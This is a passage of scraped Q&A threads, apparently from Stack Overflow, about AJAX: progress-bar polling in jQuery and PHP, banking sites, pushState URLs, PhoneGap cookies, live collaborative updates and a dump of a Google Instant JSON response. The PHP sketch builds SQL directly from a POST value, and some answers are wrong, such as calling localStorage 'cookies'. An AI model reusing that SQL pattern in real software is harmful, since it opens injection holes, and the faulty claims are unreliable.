statusId int(4) NOT NULL AUTO_INCREMENT,
progress float DEFAULT NULL COMMENT 'percentage',
PRIMARY KEY (id_progress_data)
);
JQuery code:
//this uses Jquery Timers http://plugins.jquery.com/project/timers
$('#bUpdate').click(function() {
//first obtain a unique ID of this operation - this has to by synchronized
$.ajaxSetup({'async': false});
$.post('ajax.php', {'operation': 'beginOperation'}, function(data) {
statusId = parseInt(data.statusId);
});
//now run the long-running task with the operation ID and other params as necessary
$.ajaxSetup({'async': true});
$.post('ajax.php', {'operation': 'updateSite', 'statusId': statusId, 'param': paramValue}, function(data) {
$('#progress_bar').stopTime('statusLog'); //long operation is finished - stop the timer
if (data.result) {
//operation probably successful
} else {
//operation failed
}
});
//query for progress every 4s, 'statusLog' is just the name of the timer
$('#progress_bar').everyTime('4s', 'statusLog', function() {
var elm = $(this);
$.post('ajax.php', {'operation': 'showLog', 'statusId': statusId}, function(data) {
if (data) {
//set bar percentage
$('#progress').css('width', parseInt(data.progress) + '%');
}
});
});
return false;
}
Backend code (in PHP):
if (isset($_POST['operation'])) {
ini_set("display_errors", false);
session_write_close(); //otherwise requests would block each other
switch ($_POST['operation']) {
/**
* Initialize progress operation, acquire ID (statusId) of that operation and pass it back to
* JS frontend. The frontend then sends the statusId back to get current state of progress of
* a given operation.
*/
case 'beginOperation': {
$statusId = //insert into progress_data
echo json_encode(array('statusId' => $statusId));
break;
}
/**
* Return back current progress state.
*/
case 'showLog': {
$result->progress = (float) //SELECT progress FROM progress_data WHERE statusId = $_POST['statusId']
echo json_encode($result);
break;
}
case 'updateSite': {
//start long running operation, return whatever you want to, during the operation ocassionally do:
UPDATE progress_data SET progress=... WHERE statusId = $_POST['statusId']
}
}
}
/* Terminate script, since this 'view' has no template, there si nothing to display.
*/
exit;
I have used this approach in 3 applications already and I must say it is very reliable and fast enogh (the showLog operation is just a simple SELECT statement). It is also possible to use session to store the progress, but that brings a lot of problems, since the session has to be write closed (if it is stored in files), otherwise the showLog AJAX queries will wait for the long operation to finish (and loose sense).
I once did something similar this way (similar to Zain Shaikh, but simpler):
On the server
int toUpdate = 5000;
int updated = 0;
int prev = updated;
while(updated < toUpdate)
{
updated = getAlreadyUpdatedRows();
flushToClient(generateZeroSequenceOfLength(updated - prev));
prev = updated;
sleep(500);
}
closeStream();
On the client
Follow the Zain Shaikh path but on ProcessInput simply resize your progress bar according to the ratio between the number of records to update and the input.length.
This solution often trades client side complexity for network bandwidth.
Do not mix this server activity with an eventual file import, unless you really know what you are doing. You would be trading db queries (the select for counting the updated rows) for stability: what if the user change page? There's no problem for the progress bar, but the import would not be completed.
Can someone list with references / evidences if possible, why we don't see much AJAX in secure web applications like internet banking?
eg. Internet banking has a list of tabs for Accounts, Payments, Tools, Reports. Normally you'd see these implemented as links to different pages. Why couldn't you just have one page and use AJAX to load the content of the different tabs? (eg. a JSF RichFaces tab control)
I'm assuming that bookmarking and handling the back button (or disabling it as is common for internet banking) for the different URLS will be handled in either scenario. So I'd like to hear other things, like how it could affect security, performance etc?
My team is about to start building a web based payment management system (think setting up payments, managing client account balances, reconciliation etc.). Its not going to be making the actual payments, but it will at some point integrate with a leading bank's internet banking system.
We're divided over using one page and using AJAX for everything else
or
using AJAX only where its really helping user experience.
Ajax can improve usability but adds complexity.
Banks need security.
Complexity is the enemy of security.
Therefore Ajax is the enemy of Banks ;)
I have a counterexample for you. I'd say mint.com fits into the same category as internet banking sites, and they make heavy use of Ajax. I'd also hazard a guess that their security is better than most banks, but I have no proof of that. The banks just "feel" like they're cobbled together by Highly Paid Consultants, rather than developers who know what they're doing. Mint is a fairly recent startup, and their site design still shows the control the developers have/had.
I'd say the biggest reason is that banks tend to be very technologically conservative/hidebound. It's not uncommon to find a banking site that recommends or even requires using IE6.
There are several possible reasons and several possible explanations (some good, some bad). It differs from bank to bank and from programmer to programmer why they use the systems they use. My bank actually has a flash-based online banking system as of a year ago, which with all of the security vulnerabilities turning up in Flash has had me really edgy.
Some things to take into consideration:
Most banks are very old. They've been around since the early 1900's, and some even earlier. It's rare to find a bank who just started up 5 years ago. These banks started out with pen and paper systems and so they are slowly inching into the digital age. This is in stark contrast to businesses who got their start on the internet like Facebook.
When you work at a bank, you want to hire the "best and brightest" programmers to keep your system efficient and secure. The problem is- the people who own banks usually don't know the different between MSWord and WordPad. For this reason, positions as programmers for banking software are usually offered to the candidate with the "most business experience". Or, in real world terms, the oldest. Face the facts- as you get older you stop keeping up wit modern trends like AJAX. I wouldn't be surprised if half of the bank's back-end was coded in Java
Banks want to keep things simple so that "it just works". Why do you think power goes out during storms but the water in the sink always works? The simplest systems are least likely to fail. If you increase the complexity, you increase the number of things that can go wrong. Even if it's a proven system that has never failed before, it's extra details and that's extra worry.
Although my bank really can't say anything here (since some computers don't have Flash and certain iDevices won't even allow it), many banks may say no to required javascript simply because not all browsers support it or it's possible to disable it. If Mrs. Piggsworth the 80-year-old librarian down the street wants to access her bank account from her 1992 Pentium I, she certainly won't be doing it on anything newer than Internet Explorer 3
Also, I'm not sure off-hand if AJAX and SSL play nicely. I'd like to look into that.
As far as speed/efficiency goes, you'll actually find if you started using it that AJAX is faster. You only load the necessary data rather than entire webpages and you can switch between frames without having to make HTTP requests. It can also make more a more intuitive interface when you incorporate click/drag functionality and sortable lists. The problem lies mainly with the increased complexity and the fear which that should bring to any system. The more pieces you have, the more pieces which can go wrong.
There are a few entities that are always about 10 years behind in technology: banks, insurance companies, and governments. For proof, check out the customer list for companies that do nothing but "modernization" (that is, converting companies from old COBOL systems to Java/.NET, etc), such as this one.
There are good reasons:
...and there are bad reasons:
I would think banking companies want to ensure maximal accessibility. Stats unanimously show a substantial percentage of Web users with JavaScript disabled, and I don't think banks want to shut them out of access of such important facilities by employing modern JavaScript bling, among other things.
ceejayoz also has a point about support for old browsers. As well, it's also a concern of accessibility.
Some problems:
These cases make Ajax sites more difficult to build, so that might make banks less eager to go that route.
Then there is the whole slow-moving-corporate-behemoth thing, of course. Banks are primarily concerned with cutting costs, not with staying current on internet trends.
Because the only problem with javascript is it has no security.
Picture this, I have loaded the funds transfer form into my browser. I give it some entries and the Javascript is so great it computes the total for me before I send it back.
Due to Javascript being a scripting language, and can be edited and returned to the server with/without user knowledge (or cross site issues), then there is zero trust of the information coming back.
When you want fancy widgets and 'stuff', now you are potentially serializing objects and using Eval() to get anything done (I am looking at you GWT).
Javascript has a nice security context and containment for the browser, but leaves the data and potentially the server very vulnerable.
anybody how can I know if the request is ajax ? (I'm using jquery for ajax)
There's also the Request.IsAjaxRequest if you're using a later version of MVC. I don't have version 1 anymore so I can't say if it's in version 1.
All AJAX calls made by jQuery will have a header added to indicate it is AJAX. The header to check is X-Requested-With, and the value will be XMLHttpRequest when it is an AJAX call.
Note that AJAX requests are normal GETs or POSTs, so unless you (or your AJAX library like jQuery) are adding an additional header in the request, there is no way to know for certain whether it is AJAX or not.
It works for me in ASP.NET MVC 3
if (Request.IsAjaxRequest())
{
// ajax request handled
}
In ASP.NET web form ajax request can be checked as:
if(Request["__ASYNCPOST"] == "true")
{
...
}
Go to http://www.facebook.com/facebook?v=wall, then click on the info tab. The content will be loaded, and the address bar now becomes http://www.facebook.com/facebook?v=info but the webpage didn't reload.
At first I think it is Ajax, but my question is, how do you change the address bar without reloading? I know I can change anchor (#wall) using JS but querystring (?v=wall), how?
It's using HTML5's new history.pushState() feature to allow the page to masquerade as being at a different URL to that from which it was originally fetched.
This seems only to be supported by WebKit at the moment, which is why the rest of us are seeing ?v=wall#!/facebook?v=info instead of ?v=info.
The feature allows dynamically-loaded pages to be properly bookmarked, exchanged etc between JS-supporting and non-JS-supporting user agents. Because if you as a JS user linked someone to ?v=wall#!/facebook?v=info and their browser didn't support JS and XMLHttpRequest, the page wouldn't work for them. The #! is also used as a tip to search engines to download the non-AJAX version.
@Snoob - I'd appreciate it if you accepted @bobince's answer instead, he's was on the right track about the specifics first here. Since I can't delete/remove this until it's unaccepted I'll update it to be as correct as possible.
At the moment it's a WebKit (Chrome, Safari, etc.) specific thing you're seeing (or rather, not seeing), as @bobince points out in other browsers you can see the real URL in the bar:
http://www.facebook.com/facebook?v=wall#!/facebook?v=info\
Where Chrome just shows:
http://www.facebook.com/facebook?v=info
It makes a bit of sense, given this is how you make AJAX Content crawlable with the Google search engine, so their browser recognizes where the content comes from as well.
Correction on the specifics: Webkit browsers are showing the shortened URL facebook wants using the HTML 5 history features you can see the code here (take a look at the HistoryManager) in this case specifically they're using .replaceState() to replace the URL you went to with the direct one available.
Note: This answer may not be valid later (the WebKit specific bit), as other browsers support HTML5 features more and more this may become outdated quickly.
For MooTools developers I recommend checking out cpojer's mootools-history plugin which provides support for the native history API when available, with a fallback to hashes.
I don't have Facebook so I can't check. But I'm 95% sure that it has to be a full page request, the location bar is unwritable because this would be a very useful feature to absure for phishing websites (instead of http://fakeonlinebank.com it rewrite to http://yourtrustybank). It's probably just so fast that your browser appears to only load that part?
But I'm curious to see if someone will correct me on this, because that would mean they have the answer you do want to hear ;)
I'm planning on making my web app quite AJAX heavy.
Before I do, I'm wondering what people think of such sites. Are there any significant reasons not to do this?
BTW, no need to mention SEO reasons. Also, I think the benefits make up for the fact that people without javascript will have a limited experience (though I'm open to being convinced otherwise).
It depends on how you plan to use it, IMO.
1) If the site will absolutely fail without it, you are excluding users with scripting disabled. I think it is fair in many scenarios to limit but not remove functionality for no-script users (for example, Google doesn't autocomplete searches if you have scripting disabled; it can't...but the basic search still works).
2) The right techniques need to be used in the right place. For example, an ASP.Net UpdatePanel will perform horribly if you dump thousands of elements into it.
3) I am becoming a bigger and bigger fan of content that is loaded in small blocks on the page that does not require a full refresh NOR does it require the whole page to be executed again. This lends itself to a SOA nicely, but is even more subject to the limits of #1.
4) EDIT: Don't create UI elements that (due to AJAX) behave unexpectedly. For example, I once built a dropdown list that only populated when it was toggled. Because of latency and DOM creation time, it wasn't responsive. Furthermore, the size would often change based on what elements were dynamically added. You could propose ways around these problems, but that was still an incorrect use of the technology.
AJAX is a tool for a job. If your application is best served by the tool, use it.
Edit -- just make sure the tradeoffs are well understood. Also, nothing in using AJAX prevents you from having a non-ajax backup ready for if you need it...
Obviously, there are many popular sites that rely on AJAX, so it certainly need not be avoided if used well. However, there are things to consider:
It depends on how you use AJAX. Pages where you have to wait while the page is rendered AND THEN wait another 10secs while the scripts execute and load the actual content, make people angry. Pages, which load fast and do a good job with AJAX, are fine of course.
Search engine optimization is one thing, but ability to find things in your site is another. You will have to think of a way for Google to index your content. Hence, you will still have to have a "plain text" version, where links behave as links.
Deep linking can be an issue with Ajax heavy sites. There are ways around it (i.e. using the url-hash technique) but those are not always fail safe.
You can make your site AJAX based and still not miss on the SEO if you plan in advance. Here is the link by Google on how to make your AJAX content crawlable.
http://code.google.com/web/ajaxcrawling/docs/getting-started.html
Users who are on the other side of the planet, with a 3×108 m/s speed limit enforced by physics, will find your site sluggish and unresponsive if you have a lot of UI interaction going on with AJAX.
A typical packet turnaround time (round trip) from New Zealand to California is roughly 200 ms, and a user interface should respond within 100 ms to not feel sluggish.
I'm working on a mobile web-app using sencha touch, HTML5 and phonegap as a wrapper.
I'm using PHP-Authentication (Cookie) and ajax-requests. Everything works fine on safari or chrome, but after the deployment with phonegap (webview) it does't work anymore...
Any help would be appreciated :)
Some more details:
All data for my app is loaded via ajax requests to my server component "mobile.php". I use basic PHP-Auth to autenticate the user:
What's the difference between a normal safari website and the webview?
i figured it out:
you have to change the phonegap_delegate.m file and add the following to the init method:
- (id) init
{
/** If you need to do any extra app-specific initialization, you can do it here
* -jm
**/
//special setting to accept cookies via ajax-request
NSHTTPCookieStorage *cookieStorage = [NSHTTPCookieStorage
sharedHTTPCookieStorage];
[cookieStorage setCookieAcceptPolicy:NSHTTPCookieAcceptPolicyAlways];
return [super init];
}
it enables webview to accept cookies from ajax requests
here's Michael's code with the formatting. Without the formatting, fellows inexperienced in xcode (like myself) might not know where the line breaks are... and comment out things that shouldnt be commented...
but
@Michael -- thanks for the fix! it saved me having to change the parameters for all my ajax calls!
- (id) init
{
/** If you need to do any extra app-specific initialization, you can do it here
* -jm
**/
//special setting to accept cookies via ajax-request
NSHTTPCookieStorage *cookieStorage = [NSHTTPCookieStorage sharedHTTPCookieStorage];
[cookieStorage setCookieAcceptPolicy:NSHTTPCookieAcceptPolicyAlways];
return [super init];
}
If your Phonegap AJAX requests are not firing callbacks like they're supposed to, this may be the reason.
If the response you're getting attempts to set cookies and you haven't done Michael's fix then your (jquery) AJAX request will fail quietly -- neither success: nor error: callbacks will fire despite the fact that the server actually received the request and sent a response. It appears you must do this even if you don't care about the cookies.
I hope this helps someone.
I didn't care about the cookies but just spent a few hours trying to figure out why the callbacks didn't fire!
Best ways to store get and delete cookie its working fine in my app which is on live
To store value in cookie
window.localStorage.setItem("key", "value");
To Get value in cookie
var value = window.localStorage.getItem("key");
To Delete cookie value
window.localStorage.removeItem("key");
window.localStorage.clear();
I want to access open API through ajax in mobile application, its work fine in iphone but does not working in Android phonegap application:
returning error->"error message-null,typeerror-Result of expression 'data'[null] is not an object and error status-parsererror"
Is there any browser setting, thanks in advance.
I want to call the web service in android-phonegap application;
$.ajax({
url:'stringURL',
beforeSend: function(x) {
x.setRequestHeader('Authorization','username/pwd');
},
dataType:"xml",
contentType:'application/xml',
timeout:10000,
type:'POST',
success:function(data) {
alert(data);
},
error:function(XMLHttpRequest,textStatus, errorThrown) {
alert("Error status :"+textStatus);
alert("Error type :"+errorThrown);
alert("Error message :"+XMLHttpRequest.responseXML);
}
});
thanks and regards,
Mayur Birari
It seems that there is an parse error on the data fetched. You want the XMLHttpRequest to parse XML data, so the fetched URL has to return valid XML. There are several possible reasons why that works on one but fails on another platform:
-The browser request headers may be different, resulting in a different server answer. Some servers may give HTTP 200 status answers with some error message in case of problems, which doens't parse to valid XML.
-The returned XML may be problematic and parses well on the iPhone due to quirks in the browser there but fail on an other WebKit version / variant the Android uses.
-The fetched data is damaged due to other request headers, provider, proxy or other effects. For example some proxys only handle HTTP/1.0 requests, and bad behaveing servers serve HTTP/1.1 with chunked encoding every time, so the XML will be damaged by the chunk headers.
For debugging purposes you can change the request to an text request and show the fetched data, or even save it to the devices SD card if possible in your application. You can then verify it has arrived intact and is in fact valid XML.
I want to do something very similar to Google Doc's live updating - where all users can "immediately" see the actions of the other users in the doc.
To achieve this, my ideas so far:
I would like to know others experience in trying to achieve this effect. What is the best way to do this?
All help is appreciated.
NOTE: I'm not specifically looking for a real-time document editing solution. I'm looking for a solution to the same concept of what Google does with their Docs. I will actually be using that solution in a slightly different manner.
I vote for Long-pool strategy : each client opens a request to the server, but the server never breaks up connections, and just send pieces of java-script from time to time.
Constant AJAX requests would kill your server.
Check out google mobwrite. It's a drop-in library that enables collaborative editing of html forms via operational transformation.
Getting events pushed back from the server is the easy part, there are many ways to do it. Ensuring that the state is consistent across all clients, that's the hard part. That's where the operational transformation algorithm comes in.
A Ajax approach is one way to go. You could implement it like the chat applications. The actual way will depend on the data being view. In short
Whether it will be performance intensive or not will depend largely on how to structure everything.
Your other option is web sockets. Haven't used it personally but if you have control over what browser your users will use, you could give it a shot. It allows the server to push data to the browser. Some Links: Web Sockets JS and Web Sockets in Firefox
If you don't want to use Web Sockets because they're not widely supported, you'll want to look up Comet. That's how Google Docs probably does it.
Another alternative is Orbited:
Orbited provides a pure JavaScript/HTML socket in the browser. It is a web router and firewall that allows you to integrate web applications with arbitrary back-end systems. You can implement any network protocol in the browser?without resorting to plugins.
Orbited is an HTTP daemon that is optimized for long-lasting comet connections. It is designed to be easily integrated with new and existing applications. Orbited allows you to write real-time web applications, such as a chat room or instant messaging client, without using any external plugins like Flash or Java.
EtherPad has been open-sourced, if you're looking for a realtime collaborative rich text editor.
I recommend using a Comet framework like Atmosphere. It will automatically choose a transport mechanism for your messages, which can be websockets if you're lucky (but as this is abstracted away, you do not have to worry). Anyway it is great value if you do not have to deal with individual requests / responses and all the error sources and browser bugs that you will encounter. I've been there. There be dragons. :-)
One way to limit the # of ajax requests is to get clever with spacing them out. You don't need to make a request every second. When you get a response with activity, then do another request in 1 second. If no activity, then 2 seconds, then 4, etc, with maximum of maybe 30 seconds in between requests. When updates happen, reset the timer. Basically, space your requests in a smart way to make the GUI look as responsive as possible.
If your users are only using modern browsers than i would try out the websocket standard coming with HTML 5. More and more browser will support it in the future and companies like Google and Apple are working on this. Here a getting started tutorial: http://net.tutsplus.com/tutorials/javascript-ajax/start-using-html5-websockets-today/
Also take a look at pubsubhubbub - http://code.google.com/p/pubsubhubbub/ Watch the video for a short intro.
Any ideas on exactly how the new google instant search works? It seems to just be AJAX calls to the old search, but it's pretty hard to simplify Google that much. Anybody have speculations?
EDIT: I know there is AJAX sent with each keypress, but is it predictive? Or do you think it's just a regular ol' google search?
UPDATE: Google have just published a blog article called Google Instant, behind the scenes. It's an interesting read, and obviously related to this question. You can read how they tackled the extra load (5-7X according to the article) on the server-side, for example. The answer below examines what happens on the client-side:
Examining with Firebug, Google is doing an Ajax GET request on every keypress:

I guess it's working the same way as the auto completion. However this time, it also returns the search results of the partially complete search phrase in JSON format.
Examining one of the JSON responses while typing "Stack Overflow":

We can see that the JSON response contains the content to construct the search results as we type.
The formatted JSON responses look something like this:
{
e: "j9iHTLXlLNmXOJLQ3cMO",
c: 1,
u: "http://www.google.com/search?hl\x3den\x26expIds\x3d17259,24472,24923,25260,25901,25907,26095,26446,26530\x26sugexp\x3dldymls\x26xhr\x3dt\x26q\x3dStack%20Overflow\x26cp\x3d6\x26pf\x3dp\x26sclient\x3dpsy\x26aq\x3df\x26aqi\x3dg4g-o1\x26aql\x3d\x26oq\x3dStack+\x26gs_rfai\x3d\x26pbx\x3d1\x26fp\x3df97fdf10596ae095\x26tch\x3d1\x26ech\x3d1\x26psi\x3dj9iHTO3xBo2CONvDzaEO12839712156911",
d: "\x3clink rel\x3dprefetch href\x3d\x22http://stackoverflow.com/\x22\x3e\x3cscript\x3eje.pa(_loc, \x27rso\x27, \x27\\x3c!--m--\\x3e\\x3clink rel\\x3dprefetch href\\x3d\\x22http://stackoverflow.com/\\x22\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://stackoverflow.com/\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNERidL9Hb6OvGW93_Y6MRj3aTdMVA\\x27,\\x27\\x27,\\x270CBYQFjAA\\x27)\\x22\\x3e\\x3cem\\x3eStack Overflow\\x3c/em\\x3e\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3eA language-independent collaboratively edited question and answer site for programmers.\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3e\\x3cb\\x3estackoverflow\\x3c/b\\x3e.com/\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:U1GC2GYOToIJ:stackoverflow.com/+Stack+Overflow\\x26amp;cd\\x3d1\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNFfKMag7Tq8CMbbfu8Gcj_GjukTbA\\x27,\\x27\\x27,\\x270CBgQIDAA\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:stackoverflow.com/+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CBkQHzAA\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3cbr\\x3e\\x3ctable class\\x3dslk style\\x3d\\x22border-collapse:collapse;margin-top:4px\\x22\\x3e\\x3ctr\\x3e\\x3ctd style\\x3d\\x22padding-left:14px;vertical-align:top\\x22\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://stackoverflow.com/questions\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNHmP78gEctJKvBrydP2c52F_FEjvA\\x27,\\x27\\x27,\\x270CBoQqwMoADAA\\x27)\\x22\\x3eQuestions\\x3c/a\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://stackoverflow.com/questions/ask\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNGZF-qwWVTZOWPlr4vgSA7qB64LLQ\\x27,\\x27\\x27,\\x270CBsQqwMoATAA\\x27)\\x22\\x3eAsk Question\\x3c/a\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://stackoverflow.com/users/135152/omg-ponies\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNE9zo6Qi_AM1bjmPGeMGfbnPi3niA\\x27,\\x27\\x27,\\x270CBwQqwMoAjAA\\x27)\\x22\\x3eOMG Ponies\\x3c/a\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://careers.stackoverflow.com/\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNEaqlBrfDcc1gdPZ6dgthff0s5WmA\\x27,\\x27\\x27,\\x270CB0QqwMoAzAA\\x27)\\x22\\x3eCareers\\x3c/a\\x3e\\x3c/div\\x3e\\x3ctd style\\x3d\\x22padding-left:14px;vertical-align:top\\x22\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://stackoverflow.com/about\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNEqgPttrXj3r4o3TZHX5WaWvFe1HQ\\x27,\\x27\\x27,\\x270CB4QqwMoBDAA\\x27)\\x22\\x3eAbout\\x3c/a\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://stackoverflow.com/faq\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNF3X3eRc0RsxYynXZhhbyYkuKWZ5g\\x27,\\x27\\x27,\\x270CB8QqwMoBTAA\\x27)\\x22\\x3eThe FAQ\\x3c/a\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://blog.stackoverflow.com/\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNG7KphjK6RuC5cj-6U5jeuvipt5dg\\x27,\\x27\\x27,\\x270CCAQqwMoBjAA\\x27)\\x22\\x3eBlog\\x3c/a\\x3e\\x3c/div\\x3e\\x3cdiv class\\x3dsld\\x3e\\x3ca class\\x3dsla href\\x3d\\x22http://stackoverflow.com/users\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x271\\x27,\\x27AFQjCNFfN_wcGm4HE5XpDxvcH4bIrkv2dw\\x27,\\x27\\x27,\\x270CCEQqwMoBzAA\\x27)\\x22\\x3eUsers\\x3c/a\\x3e\\x3c/div\\x3e\\x3ctr\\x3e\\x3ctd colspan\\x3d2 style\\x3d\\x22padding-left:14px;vertical-align:top\\x22\\x3e\\x3cdiv style\\x3d\\x22padding-top:6px\\x22\\x3e\\x3ca class\\x3dfl href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3d+site:stackoverflow.com+Stack+Overflow\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CCIQrAM\\x22\\x3eMore results from stackoverflow.com\\x26nbsp;\\x26raquo;\\x3c/a\\x3e\\x3c/div\\x3e\\x3c/table\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://stackoverflow.com/questions\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x272\\x27,\\x27AFQjCNHmP78gEctJKvBrydP2c52F_FEjvA\\x27,\\x27\\x27,\\x270CCUQFjAB\\x27)\\x22\\x3eHottest Questions - \\x3cem\\x3eStack Overflow\\x3c/em\\x3e\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3eHello \\x3cem\\x3eStack Overflow\\x3c/em\\x3e! I\\x26#39;m working with someone else\\x26#39;s PHP function that works fine as long as I pass it at least three arguments. If I pass it two argument, \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3e\\x3cb\\x3estackoverflow\\x3c/b\\x3e.com/questions\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:6S_0sErDKfQJ:stackoverflow.com/questions+Stack+Overflow\\x26amp;cd\\x3d2\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x272\\x27,\\x27AFQjCNH7WHzefYlnS05ln4j6rzfE3byDKg\\x27,\\x27\\x27,\\x270CCcQIDAB\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:stackoverflow.com/questions+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CCgQHzAB\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://en.wikipedia.org/wiki/Stack_overflow\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x273\\x27,\\x27AFQjCNEAxaeWmWtD7cBcmZ5QBMsTRNbnCw\\x27,\\x27\\x27,\\x270CCkQFjAC\\x27)\\x22\\x3e\\x3cem\\x3eStack overflow\\x3c/em\\x3e - Wikipedia, the free encyclopedia\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3eIn software, a \\x3cem\\x3estack overflow\\x3c/em\\x3e occurs when too much memory is used on the call stack. The call stack contains a limited amount of memory, often determined at \\x3cb\\x3e...\\x3c/b\\x3e\\x3cbr\\x3e\\x3cspan class\\x3df\\x3e\\x3ccite\\x3een.wikipedia.org/wiki/\\x3cb\\x3eStack\\x3c/b\\x3e_\\x3cb\\x3eoverflow\\x3c/b\\x3e\\x3c/cite\\x3e - \\x3cspan class\\x3dgl\\x3e\\x3ca href\\x3d\\x22http://webcache.googleusercontent.com/search?q\\x3dcache:mWu8b0BQAmwJ:en.wikipedia.org/wiki/Stack_overflow+Stack+Overflow\\x26amp;cd\\x3d3\\x26amp;hl\\x3den\\x26amp;ct\\x3dclnk\\x22 onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x273\\x27,\\x27AFQjCNFG_5ndK-KmWJy6s3pOsi8lsxqEZg\\x27,\\x27\\x27,\\x270CCsQIDAC\\x27)\\x22\\x3eCached\\x3c/a\\x3e - \\x3ca href\\x3d\\x22/search?hl\\x3den\\x26amp;q\\x3drelated:en.wikipedia.org/wiki/Stack_overflow+Stack+Overflow\\x26amp;tbo\\x3d1\\x26amp;sa\\x3dX\\x26amp;ei\\x3dj9iHTLXlLNmXOJLQ3cMO\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CCwQHzAC\\x22\\x3eSimilar\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/span\\x3e\\x3c/div\\x3e\\x3c!--n--\\x3e\\x3c!--m--\\x3e\\x3cli class\\x3dg\\x3e\\x3ch3 class\\x3d\\x22r\\x22\\x3e\\x3ca href\\x3d\\x22http://blog.stackoverflow.com/\\x22 class\\x3dl onmousedown\\x3d\\x22return rwt(this,\\x27\\x27,\\x27\\x27,\\x27\\x27,\\x274\\x27,\\x27AFQjCNG7KphjK6RuC5cj-6U5jeuvipt5dg\\x27,\\x27\\x27,\\x270CC0QFjAD\\x27)\\x22\\x3eBlog ? \\x3cem\\x3eStack Overflow\\x3c/em\\x3e\\x3c/a\\x3e\\x3c/h3\\x3e\\x3cdiv class\\x3d\\x22s\\x22\\x3e6 Sep 2010 \\x3cb\\x3e...\\x3c/b\\x3e The latest version of the \\x3cem\\x3eStack Overflow\\x3c/em\\x3e Trilogy Creative Commons Data Dump is now available. This reflects all public data in ? 